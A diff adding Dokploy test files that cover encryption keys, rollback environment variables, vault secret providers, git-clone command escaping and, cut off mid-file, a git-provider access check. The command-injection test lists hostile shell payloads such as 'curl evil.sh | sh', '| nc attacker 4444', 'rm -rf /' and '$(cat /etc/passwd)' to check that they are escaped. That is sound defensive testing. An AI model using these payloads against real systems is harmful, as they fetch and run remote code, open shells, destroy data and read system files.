+		const tampered = `${encrypted.slice(0, -4)}AAAA`;
+		expect(() => decryptValue(tampered)).toThrow(/BETTER_AUTH_SECRET/);
+	});
+
+	it("exports the derived keys as 32-byte hex lines for backups", () => {
+		expect(exportEncryptionKeys()).toMatch(/^[0-9a-f]{64}(\n[0-9a-f]{64})*$/);
+	});
+});
+
+describe("dedicated ENCRYPTION_KEY", () => {
+	afterEach(() => {
+		vi.unstubAllEnvs();
+		vi.resetModules();
+	});
+
+	const loadWithEncryptionKey = async (key: string) => {
+		vi.stubEnv("ENCRYPTION_KEY", key);
+		vi.resetModules();
+		return await import("@dokploy/server/lib/encryption");
+	};
+
+	it("encrypts with the dedicated key when set", async () => {
+		const withKey = await loadWithEncryptionKey("my-dedicated-key");
+		const encrypted = withKey.encryptValue("KEY=value");
+
+		expect(withKey.decryptValue(encrypted)).toBe("KEY=value");
+		// The default (auth-secret derived) module cannot read it
+		expect(() => decryptValue(encrypted)).toThrow(/ENCRYPTION_KEY/);
+	});
+
+	it("still decrypts legacy values via the auth-secret fallback", async () => {
+		// Encrypted before the install adopted a dedicated key
+		const legacyEncrypted = encryptValue("KEY=legacy-value");
+
+		const withKey = await loadWithEncryptionKey("my-dedicated-key");
+		expect(withKey.decryptValue(legacyEncrypted)).toBe("KEY=legacy-value");
+	});
+
+	it("re-encrypts with the dedicated key on write", async () => {
+		const withKey = await loadWithEncryptionKey("my-dedicated-key");
+		const reEncrypted = withKey.encryptValue(
+			withKey.decryptValue(encryptValue("KEY=migrated")),
+		);
+
+		const other = await loadWithEncryptionKey("another-key");
+		// Readable only by the dedicated key (or its own fallback), proving
+		// the write used the primary key, not the legacy one
+		expect(withKey.decryptValue(reEncrypted)).toBe("KEY=migrated");
+		expect(() => other.decryptValue(reEncrypted)).toThrow();
+	});
+});

apps/dokploy/__test__/env/rollback-environment.test.ts

@@ -0,0 +1,108 @@
+import { prepareEnvironmentVariables } from "@dokploy/server/index";
+import { describe, expect, it } from "vitest";
+
+const projectEnv = `
+ENVIRONMENT=staging
+DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
+`;
+
+const environmentEnv = `
+NODE_ENV=production
+POSTGRES_HOST=postgres.internal
+POSTGRES_PORT=5432
+REDIS_URL=redis://redis.internal:6379
+`;
+
+const serviceEnv = `
+NODE_ENV=\${{environment.NODE_ENV}}
+REDIS_URL=\${{environment.REDIS_URL}}
+PORT=3000
+`;
+
+/**
+ * A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
+ * the service env, the environment env and the project env captured at deploy time.
+ */
+const fullContext = {
+	env: serviceEnv,
+	environment: {
+		env: environmentEnv,
+		project: {
+			env: projectEnv,
+		},
+	},
+};
+
+describe("prepareEnvironmentVariables for application rollback", () => {
+	it("resolves environment variables from the rollback snapshot", () => {
+		const result = prepareEnvironmentVariables(
+			fullContext.env,
+			fullContext.environment.project.env,
+			fullContext.environment.env,
+		);
+
+		expect(result).toEqual([
+			"NODE_ENV=production",
+			"REDIS_URL=redis://redis.internal:6379",
+			"PORT=3000",
+		]);
+	});
+
+	it("resolves project and environment variables together on rollback", () => {
+		const rollbackEnv = `
+DATABASE_URL=\${{project.DATABASE_URL}}
+POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
+ENVIRONMENT=\${{project.ENVIRONMENT}}
+`;
+
+		const result = prepareEnvironmentVariables(
+			rollbackEnv,
+			projectEnv,
+			environmentEnv,
+		);
+
+		expect(result).toEqual([
+			"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
+			"POSTGRES_URL=postgres://postgres.internal:5432/app",
+			"ENVIRONMENT=staging",
+		]);
+	});
+
+	it("throws when the environment env of the snapshot is not passed", () => {
+		expect(() =>
+			prepareEnvironmentVariables(fullContext.env, projectEnv),
+		).toThrow("Invalid environment variable: environment.NODE_ENV");
+	});
+
+	it("maintains precedence: service > environment > project on rollback", () => {
+		const conflictingProjectEnv = `
+NODE_ENV=project
+API_URL=https://project.api.com
+`;
+
+		const conflictingEnvironmentEnv = `
+NODE_ENV=environment
+API_URL=https://environment.api.com
+`;
+
+		const rollbackEnv = `
+NODE_ENV=service
+PROJECT_API_URL=\${{project.API_URL}}
+ENVIRONMENT_API_URL=\${{environment.API_URL}}
+SELF_REFERENCE=\${{NODE_ENV}}
+`;
+
+		const result = prepareEnvironmentVariables(
+			rollbackEnv,
+			conflictingProjectEnv,
+			conflictingEnvironmentEnv,
+		);
+
+		expect(result).toEqual([
+			"NODE_ENV=service",
+			"PROJECT_API_URL=https://project.api.com",
+			"ENVIRONMENT_API_URL=https://environment.api.com",
+			"SELF_REFERENCE=service",
+		]);
+	});
+});

apps/dokploy/__test__/env/vault.test.ts

@@ -0,0 +1,745 @@
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+const findMany = vi.fn();
+
+vi.mock("@dokploy/server/db", () => ({
+	db: {
+		query: {
+			vaultProvider: {
+				findMany: (...args: unknown[]) => findMany(...args),
+			},
+		},
+	},
+}));
+
+import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
+import {
+	resolveVaultReferences,
+	withResolvedVaultRefs,
+} from "@dokploy/server/utils/vault";
+import { azureClient } from "@dokploy/server/utils/vault/azure";
+import { dopplerClient } from "@dokploy/server/utils/vault/doppler";
+import { hashicorpClient } from "@dokploy/server/utils/vault/hashicorp";
+import { phaseClient } from "@dokploy/server/utils/vault/phase";
+import { scalewayClient } from "@dokploy/server/utils/vault/scaleway";
+
+const mockFetch = vi.fn();
+global.fetch = mockFetch as typeof fetch;
+
+const jsonResponse = (body: unknown, ok = true, status = 200) =>
+	({
+		ok,
+		status,
+		json: async () => body,
+	}) as Response;
+
+beforeEach(() => {
+	findMany.mockReset();
+	mockFetch.mockReset();
+});
+
+const scope = {
+	organizationId: "org-1",
+	projectId: "proj-1",
+	environmentId: "env-1",
+};
+
+const assignedEverywhere = [{ projectId: "proj-1", environmentIds: [] }];
+
+describe("resolveVaultReferences", () => {
+	it("returns input untouched and skips the db when no refs are present", async () => {
+		const env = "FOO=bar\nBAZ=${{project.QUX}}";
+		const result = await resolveVaultReferences(env, scope);
+		expect(result).toBe(env);
+		expect(findMany).not.toHaveBeenCalled();
+	});
+
+	it("returns null/empty inputs unchanged", async () => {
+		expect(await resolveVaultReferences(null, scope)).toBeNull();
+		expect(await resolveVaultReferences("", scope)).toBe("");
+	});
+
+	it("throws when refs exist but no organization context is given", async () => {
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}"),
+		).rejects.toThrow("not supported in this context");
+	});
+
+	it("throws for an unknown provider", async () => {
+		findMany.mockResolvedValue([]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.missing.SECRET}}", scope),
+		).rejects.toThrow('Vault provider "missing" not found');
+	});
+
+	it("throws when the provider is not assigned to the project", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [{ projectId: "other-project", environmentIds: [] }],
+			},
+		]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
+		).rejects.toThrow("not enabled for this project/environment");
+	});
+
+	it("throws when the provider is restricted to another environment", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [
+					{ projectId: "proj-1", environmentIds: ["production-env"] },
+				],
+			},
+		]);
+		await expect(
+			resolveVaultReferences("FOO=${{vault.prod.SECRET}}", scope),
+		).rejects.toThrow("not enabled for this project/environment");
+	});
+
+	it("allows a provider restricted to the matching environment", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [{ projectId: "proj-1", environmentIds: ["env-1"] }],
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ SECRET: "value-1" }));
+		const result = await resolveVaultReferences(
+			"FOO=${{vault.prod.SECRET}}",
+			scope,
+		);
+		expect(result).toBe("FOO=value-1");
+	});
+
+	it("resolves refs through a doppler provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "doppler-prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(
+			jsonResponse({ DB_URL: "postgres://real", API_KEY: "key-123" }),
+		);
+
+		const result = await resolveVaultReferences(
+			"DB_URL=${{vault.doppler-prod.DB_URL}}\nAPI_KEY=${{vault.doppler-prod.API_KEY}}",
+			scope,
+		);
+
+		expect(result).toBe("DB_URL=postgres://real\nAPI_KEY=key-123");
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("throws when the secret is missing in the provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "doppler-prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ OTHER: "x" }));
+
+		await expect(
+			resolveVaultReferences("FOO=${{vault.doppler-prod.MISSING}}", scope),
+		).rejects.toThrow('secret "MISSING" not found');
+	});
+});
+
+describe("withResolvedVaultRefs + prepareEnvironmentVariables", () => {
+	it("resolves entity env sources so sync interpolation sees real values", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ DB_PASSWORD: "s3cret" }));
+
+		const entity = {
+			env: "DATABASE_URL=postgres://user:${{project.DB_PASSWORD}}@db",
+			environment: {
+				environmentId: "env-1",
+				env: null,
+				project: {
+					projectId: "proj-1",
+					env: "DB_PASSWORD=${{vault.prod.DB_PASSWORD}}",
+					organizationId: "org-1",
+				},
+			},
+		};
+
+		const resolved = await withResolvedVaultRefs(entity);
+		const prepared = prepareEnvironmentVariables(
+			resolved.env,
+			resolved.environment.project.env,
+			resolved.environment.env,
+		);
+
+		expect(prepared).toEqual(["DATABASE_URL=postgres://user:s3cret@db"]);
+	});
+
+	it("resolves buildArgs and buildSecrets when present", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(jsonResponse({ NPM_TOKEN: "npm-123" }));
+
+		const resolved = await withResolvedVaultRefs({
+			env: "FOO=bar",
+			buildArgs: "NPM_TOKEN=${{vault.prod.NPM_TOKEN}}",
+			buildSecrets: null,
+			environment: {
+				environmentId: "env-1",
+				env: null,
+				project: { projectId: "proj-1", env: null, organizationId: "org-1" },
+			},
+		});
+
+		expect(resolved.buildArgs).toBe("NPM_TOKEN=npm-123");
+		expect(resolved.buildSecrets).toBeNull();
+		expect(resolved.env).toBe("FOO=bar");
+	});
+
+	it.each([
+		["service env", { env: "SECRET=${{vault.locked.X}}" }],
+		["environment env", { environmentEnv: "SECRET=${{vault.locked.X}}" }],
+		["project env", { projectEnv: "SECRET=${{vault.locked.X}}" }],
+		["build args", { buildArgs: "SECRET=${{vault.locked.X}}" }],
+	])(
+		"rejects a ref to an unassigned provider placed in the %s",
+		async (_source, overrides) => {
+			findMany.mockResolvedValue([
+				{
+					name: "locked",
+					providerType: "doppler",
+					config: { providerType: "doppler", serviceToken: "dp.st.token" },
+					assignments: [{ projectId: "other-project", environmentIds: [] }],
+				},
+			]);
+
+			const entity = {
+				env: (overrides as { env?: string }).env ?? "FOO=bar",
+				buildArgs: (overrides as { buildArgs?: string }).buildArgs ?? null,
+				environment: {
+					environmentId: "env-1",
+					env:
+						(overrides as { environmentEnv?: string }).environmentEnv ?? null,
+					project: {
+						projectId: "proj-1",
+						env: (overrides as { projectEnv?: string }).projectEnv ?? null,
+						organizationId: "org-1",
+					},
+				},
+			};
+
+			await expect(withResolvedVaultRefs(entity)).rejects.toThrow(
+				"not enabled for this project/environment",
+			);
+			expect(mockFetch).not.toHaveBeenCalled();
+		},
+	);
+
+	it("rejects a ref restricted to another environment from the environment env", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "prod-only",
+				providerType: "doppler",
+				config: { providerType: "doppler", serviceToken: "dp.st.token" },
+				assignments: [
+					{ projectId: "proj-1", environmentIds: ["production-env"] },
+				],
+			},
+		]);
+
+		await expect(
+			withResolvedVaultRefs({
+				env: null,
+				environment: {
+					environmentId: "dev-env",
+					env: "SECRET=${{vault.prod-only.X}}",
+					project: { projectId: "proj-1", env: null, organizationId: "org-1" },
+				},
+			}),
+		).rejects.toThrow("not enabled for this project/environment");
+		expect(mockFetch).not.toHaveBeenCalled();
+	});
+
+	it("prepareEnvironmentVariables throws on unresolved vault refs", () => {
+		expect(() =>
+			prepareEnvironmentVariables("FOO=${{vault.prod.SECRET}}", "", ""),
+		).toThrow("Unresolved vault reference");
+	});
+
+	it("keeps working without vault refs", () => {
+		const prepared = prepareEnvironmentVariables(
+			"FOO=${{project.BAR}}",
+			"BAR=baz",
+		);
+		expect(prepared).toEqual(["FOO=baz"]);
+		expect(findMany).not.toHaveBeenCalled();
+	});
+});
+
+describe("hashicorp client", () => {
+	const config = {
+		providerType: "hashicorp" as const,
+		url: "https://vault.example.com",
+		token: "hvs.token",
+		mount: "secret",
+	};
+
+	it("rejects refs without a field", async () => {
+		await expect(
+			hashicorpClient.getSecrets(config, ["myapp/prod"]),
+		).rejects.toThrow("expected format <path>:<field>");
+	});
+
+	it("groups refs by path and picks fields from KV v2 data", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ data: { data: { USER: "admin", PASS: "pw" } } }),
+		);
+
+		const result = await hashicorpClient.getSecrets(config, [
+			"myapp/prod:USER",
+			"myapp/prod:PASS",
+		]);
+
+		expect(result).toEqual({
+			"myapp/prod:USER": "admin",
+			"myapp/prod:PASS": "pw",
+		});
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://vault.example.com/v1/secret/data/myapp/prod",
+		);
+	});
+
+	it("throws when a field is missing", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ data: { data: { A: "1" } } }));
+		await expect(
+			hashicorpClient.getSecrets(config, ["myapp/prod:MISSING"]),
+		).rejects.toThrow('field "MISSING" not found');
+	});
+
+	it("lists full path:field refs by walking directories", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("/metadata?list=true")) {
+				return jsonResponse({ data: { keys: ["myapp/", "shared"] } });
+			}
+			if (url.includes("/metadata/myapp?list=true")) {
+				return jsonResponse({ data: { keys: ["prod"] } });
+			}
+			if (url.includes("/data/myapp/prod")) {
+				return jsonResponse({
+					data: { data: { API_KEY: "a", DB_PASSWORD: "b" } },
+				});
+			}
+			if (url.includes("/data/shared")) {
+				return jsonResponse({ data: { data: { STRIPE_KEY: "c" } } });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		const names = await hashicorpClient.listSecretNames?.(config);
+
+		expect(names).toEqual([
+			"myapp/prod:API_KEY",
+			"myapp/prod:DB_PASSWORD",
+			"shared:STRIPE_KEY",
+		]);
+	});
+});
+
+describe("azure client", () => {
+	const config = {
+		providerType: "azure" as const,
+		vaultUri: "https://my-vault.vault.azure.net",
+		tenantId: "tenant-1",
+		clientId: "client-1",
+		clientSecret: "secret-1",
+	};
+
+	it("authenticates and reads secrets by name", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com/tenant-1")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			if (url.includes("/secrets/db-password?")) {
+				return jsonResponse({ value: "azure-pw" });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		const result = await azureClient.getSecrets(config, ["db-password"]);
+
+		expect(result).toEqual({ "db-password": "azure-pw" });
+	});
+
+	it("throws a clear error for missing secrets", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			return jsonResponse({}, false, 404);
+		});
+
+		await expect(azureClient.getSecrets(config, ["nope"])).rejects.toThrow(
+			'secret "nope" not found',
+		);
+	});
+
+	it("lists secret names from paged results", async () => {
+		mockFetch.mockImplementation(async (url: string) => {
+			if (url.includes("login.microsoftonline.com")) {
+				return jsonResponse({ access_token: "azure-token" });
+			}
+			if (url.includes("skiptoken")) {
+				return jsonResponse({
+					value: [{ id: `${config.vaultUri}/secrets/second` }],
+					nextLink: null,
+				});
+			}
+			return jsonResponse({
+				value: [{ id: `${config.vaultUri}/secrets/first` }],
+				nextLink: `${config.vaultUri}/secrets?api-version=7.4&skiptoken=abc`,
+			});
+		});
+
+		const names = await azureClient.listSecretNames?.(config);
+
+		expect(names).toEqual(["first", "second"]);
+	});
+});
+
+describe("doppler client", () => {
+	it("propagates auth errors with the status code", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({}, false, 401));
+		await expect(
+			dopplerClient.getSecrets(
+				{ providerType: "doppler", serviceToken: "bad" },
+				["FOO"],
+			),
+		).rejects.toThrow("status 401");
+	});
+});
+
+describe("scaleway client", () => {
+	const config = {
+		providerType: "scaleway" as const,
+		region: "fr-par",
+		projectId: "project-1",
+		secretKey: "scw-secret-key",
+		apiUrl: "https://api.scaleway.com",
+	};
+
+	const accessResponse = (value: string) =>
+		jsonResponse({
+			secret_id: "secret-1",
+			revision: 1,
+			data: Buffer.from(value).toString("base64"),
+		});
+
+	it("reads a secret by name from the root path and decodes the payload", async () => {
+		mockFetch.mockResolvedValue(accessResponse("postgres://real"));
+
+		const result = await scalewayClient.getSecrets(config, ["db-url"]);
+
+		expect(result).toEqual({ "db-url": "postgres://real" });
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toBe(
+			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets-by-path/versions/latest_enabled/access?project_id=project-1&secret_name=db-url&secret_path=%2F",
+		);
+		expect((init.headers as Record<string, string>)["X-Auth-Token"]).toBe(
+			"scw-secret-key",
+		);
+	});
+
+	it("sends the folder of a path-qualified ref as secret_path", async () => {
+		mockFetch.mockResolvedValue(accessResponse("value"));
+
+		await scalewayClient.getSecrets(config, ["prod/db/password"]);
+
+		expect(mockFetch.mock.calls[0]?.[0]).toContain(
+			"secret_name=password&secret_path=%2Fprod%2Fdb",
+		);
+	});
+
+	it("extracts a field from a JSON secret and fetches the secret once", async () => {
+		mockFetch.mockResolvedValue(
+			accessResponse(JSON.stringify({ user: "admin", port: 5432 })),
+		);
+
+		const result = await scalewayClient.getSecrets(config, [
+			"db-creds:user",
+			"db-creds:port",
+		]);
+
+		expect(result).toEqual({
+			"db-creds:user": "admin",
+			"db-creds:port": "5432",
+		});
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("throws when the secret is not JSON but a field is requested", async () => {
+		mockFetch.mockResolvedValue(accessResponse("plain-value"));
+
+		await expect(
+			scalewayClient.getSecrets(config, ["db-creds:user"]),
+		).rejects.toThrow("is not JSON");
+	});
+
+	it("throws when the requested field is missing", async () => {
+		mockFetch.mockResolvedValue(accessResponse(JSON.stringify({ user: "a" })));
+
+		await expect(
+			scalewayClient.getSecrets(config, ["db-creds:password"]),
+		).rejects.toThrow('field "password" not found');
+	});
+
+	it("throws a clear error for a missing secret", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ message: "not found" }, false, 404),
+		);
+
+		await expect(scalewayClient.getSecrets(config, ["nope"])).rejects.toThrow(
+			'secret "nope" not found in path "/"',
+		);
+	});
+
+	it("reports authentication failures with the API message", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ message: "denied authentication" }, false, 403),
+		);
+
+		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
+			"authentication failed (status 403: denied authentication)",
+		);
+	});
+
+	it("throws when the secret has no enabled version", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ secret_id: "secret-1" }));
+
+		await expect(scalewayClient.getSecrets(config, ["db-url"])).rejects.toThrow(
+			"has no enabled version",
+		);
+	});
+
+	it("rejects a ref without a secret name", async () => {
+		await expect(scalewayClient.getSecrets(config, ["prod/"])).rejects.toThrow(
+			"expected format <name> or <folder>/<name>[:field]",
+		);
+	});
+
+	it("tests the connection against the secrets listing", async () => {
+		mockFetch.mockResolvedValue(jsonResponse({ secrets: [], total_count: 0 }));
+
+		await scalewayClient.testConnection(config);
+
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://api.scaleway.com/secret-manager/v1beta1/regions/fr-par/secrets?project_id=project-1&page_size=1",
+		);
+	});
+
+	it("lists secret names with their folder prefix", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({
+				secrets: [
+					{ id: "1", name: "db-url", path: "/" },
+					{ id: "2", name: "password", path: "/prod/db" },
+				],
+				total_count: 2,
+			}),
+		);
+
+		const names = await scalewayClient.listSecretNames?.(config);
+
+		expect(names).toEqual(["db-url", "prod/db/password"]);
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+	});
+
+	it("follows pagination until a short page is returned", async () => {
+		const page = (start: number, size: number) =>
+			jsonResponse({
+				secrets: Array.from({ length: size }, (_, index) => ({
+					id: String(start + index),
+					name: `secret-${start + index}`,
+					path: "/",
+				})),
+			});
+		mockFetch.mockImplementation(async (url: string) =>
+			url.includes("page=2") ? page(101, 2) : page(1, 100),
+		);
+
+		const names = await scalewayClient.listSecretNames?.(config);
+
+		expect(names).toHaveLength(102);
+		expect(mockFetch).toHaveBeenCalledTimes(2);
+	});
+
+	it("resolves env refs end to end through a scaleway provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "scw-prod",
+				providerType: "scaleway",
+				config,
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(accessResponse("s3cret"));
+
+		const result = await resolveVaultReferences(
+			"DB_PASSWORD=${{vault.scw-prod.prod/db-password}}",
+			scope,
+		);
+
+		expect(result).toBe("DB_PASSWORD=s3cret");
+	});
+});
+
+describe("phase client", () => {
+	const config = {
+		providerType: "phase" as const,
+		token: "phase-rest-token",
+		appId: "app-123",
+		env: "Production",
+		path: "/",
+		apiUrl: "https://api.phase.dev",
+	};
+
+	it("fetches secrets by key and sends ServiceAccount auth", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse([
+				{ key: "DB_URL", value: "postgres://real", path: "/" },
+				{ key: "API_KEY", value: "key-123", path: "/" },
+			]),
+		);
+
+		const result = await phaseClient.getSecrets(config, ["DB_URL", "API_KEY"]);
+
+		expect(result).toEqual({ DB_URL: "postgres://real", API_KEY: "key-123" });
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
+		expect(url).toBe(
+			"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
+		);
+		expect((init.headers as Record<string, string>).Authorization).toBe(
+			"Bearer ServiceAccount phase-rest-token",
+		);
+	});
+
+	it("throws when a requested secret is missing", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse([{ key: "DB_URL", value: "postgres://real", path: "/" }]),
+		);
+
+		await expect(phaseClient.getSecrets(config, ["MISSING"])).rejects.toThrow(
+			'secret "MISSING" not found in environment "Production"',
+		);
+	});
+
+	it("reports authentication failures with the status code", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse({ error: "unauthorized" }, false, 401),
+		);
+
+		await expect(phaseClient.getSecrets(config, ["DB_URL"])).rejects.toThrow(
+			"authentication failed (status 401: unauthorized)",
+		);
+	});
+
+	it("rejects apps without SSE enabled during testConnection", async () => {
+		mockFetch.mockResolvedValueOnce(
+			jsonResponse({
+				id: "app-123",
+				name: "My App",
+				sseEnabled: false,
+			}),
+		);
+
+		await expect(phaseClient.testConnection(config)).rejects.toThrow(
+			"enable Server-side Encryption (SSE)",
+		);
+		expect(mockFetch).toHaveBeenCalledTimes(1);
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://api.phase.dev/v1/apps/app-123/",
+		);
+	});
+
+	it("tests connection against the app then secrets listing", async () => {
+		mockFetch
+			.mockResolvedValueOnce(
+				jsonResponse({
+					id: "app-123",
+					name: "My App",
+					sseEnabled: true,
+				}),
+			)
+			.mockResolvedValueOnce(jsonResponse([]));
+
+		await phaseClient.testConnection(config);
+
+		expect(mockFetch).toHaveBeenCalledTimes(2);
+		expect(mockFetch.mock.calls[0]?.[0]).toBe(
+			"https://api.phase.dev/v1/apps/app-123/",
+		);
+		expect(mockFetch.mock.calls[1]?.[0]).toBe(
+			"https://api.phase.dev/v1/secrets/?app_id=app-123&env=Production&path=%2F",
+		);
+	});
+
+	it("lists secret names from the configured path", async () => {
+		mockFetch.mockResolvedValue(
+			jsonResponse([
+				{ key: "DB_URL", value: "x", path: "/" },
+				{ key: "API_KEY", value: "y", path: "/" },
+			]),
+		);
+
+		const names = await phaseClient.listSecretNames?.(config);
+
+		expect(names).toEqual(["DB_URL", "API_KEY"]);
+	});
+
+	it("resolves env refs end to end through a phase provider", async () => {
+		findMany.mockResolvedValue([
+			{
+				name: "phase-prod",
+				providerType: "phase",
+				config,
+				assignments: assignedEverywhere,
+			},
+		]);
+		mockFetch.mockResolvedValue(
+			jsonResponse([{ key: "DB_PASSWORD", value: "s3cret", path: "/" }]),
+		);
+
+		const result = await resolveVaultReferences(
+			"DB_PASSWORD=${{vault.phase-prod.DB_PASSWORD}}",
+			scope,
+		);
+
+		expect(result).toBe("DB_PASSWORD=s3cret");
+	});
+});

apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts

@@ -0,0 +1,89 @@
+import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
+import { parse, quote } from "shell-quote";
+import { describe, expect, it } from "vitest";
+
+// How git-provider commands escape a single user value before it reaches the shell.
+const shellArg = (value: string) => quote([String(value ?? "")]);
+
+// Payloads that, if reached a shell unescaped, would execute commands.
+const INJECTION_PAYLOADS = [
+	"$(touch /tmp/pwned)",
+	"`id`",
+	"; rm -rf /",
+	"&& curl evil.sh | sh",
+	"| nc attacker 4444",
+	"https://github.com/o/r.git$(whoami)",
+	"main; wget http://evil",
+	"$(cat /etc/passwd)",
+];
+
+// Legit values that must survive escaping unchanged.
+const LEGIT_VALUES = [
+	"main",
+	"feature/login-v2",
+	"release-1.2.3",
+	"https://github.com/dokploy/dokploy.git",
+	"https://gitlab.example.com/group/sub/project.git",
+];
+
+describe("git provider shell escaping (quote)", () => {
+	it("collapses every injection payload into a single literal token (no shell operators)", () => {
+		for (const payload of INJECTION_PAYLOADS) {
+			const parsed = parse(shellArg(payload));
+			// A safely escaped value parses back to exactly the original string,
+			// as ONE token. If escaping failed, parse() would emit operator
+			// objects such as { op: ";" } or { op: "$(" } instead.
+			expect(parsed).toEqual([payload]);
+		}
+	});
+
+	it("leaves legitimate URLs and branch names intact", () => {
+		for (const value of LEGIT_VALUES) {
+			expect(parse(shellArg(value))).toEqual([value]);
+		}
+	});
+});
+
+describe("cloneGitRepository command (customGitUrl path)", () => {
+	const buildClone = (customGitUrl: string, customGitBranch: string) =>
+		cloneGitRepository({
+			appName: "demo-app",
+			customGitUrl,
+			customGitBranch,
+			customGitSSHKeyId: null,
+			enableSubmodules: false,
+			serverId: null,
+			type: "application",
+		});
+
+	// A malicious substring, once escaped, must survive parsing as inert literal
+	// text and never as an executable command/operator. `parse()` turns command
+	// substitution and control operators into { op } objects, so we assert the
+	// injected marker only ever shows up inside a plain string token.
+	const markerLeaksAsShellSyntax = (command: string, marker: string) => {
+		const tokens = parse(command);
+		return tokens.some(
+			(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
+		);
+	};
+
+	it("does not let a malicious customGitUrl inject shell operators", async () => {
+		const command = await buildClone(
+			"https://github.com/o/r.git$(touch /tmp/pwned)",
+			"main",
+		);
+		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+		expect(command).toContain("git clone");
+	});
+
+	it("does not let a malicious customGitBranch inject shell operators", async () => {
+		const command = await buildClone(
+			"https://github.com/o/r.git",
+			"main; touch /tmp/pwned",
+		);
+		// The branch is a single quoted token, so its ";" contributes no extra
+		// operator and `touch` never becomes a runnable statement.
+		expect(markerLeaksAsShellSyntax(command, "touch")).toBe(false);
+		expect(command).not.toContain("touch /tmp/pwned;");
+	});
+});

apps/dokploy/__test__/git-provider/git-provider-idor.test.ts

@@ -0,0 +1,91 @@
+import { TRPCError } from "@trpc/server";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
+// assertGitProviderAccess) runs against controlled data. Mocking the exported
+// function would NOT intercept the intra-module call, so we mock one layer down.
+const mockDb = vi.hoisted(() => ({
+	query: {
+		gitProvider: {
+			findMany: vi.fn(),
+		},
+		member: {
+			findFirst: vi.fn(),
+		},
+	},
+}));
+vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
+
+const mockHasValidLicense = vi.hoisted(() => vi.fn());
+vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
+	hasValidLicense: mockHasValidLicense,
+}));
+
+import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
+
+const ORG = "org-1";
+const USER = "user-member";
+const session = { userId: USER, activeOrganizationId: ORG };
+
+// Provider owned by USER within ORG -> should be accessible.
+const providerMine = {
+	gitProviderId: "gp-mine",
+	userId: USER,
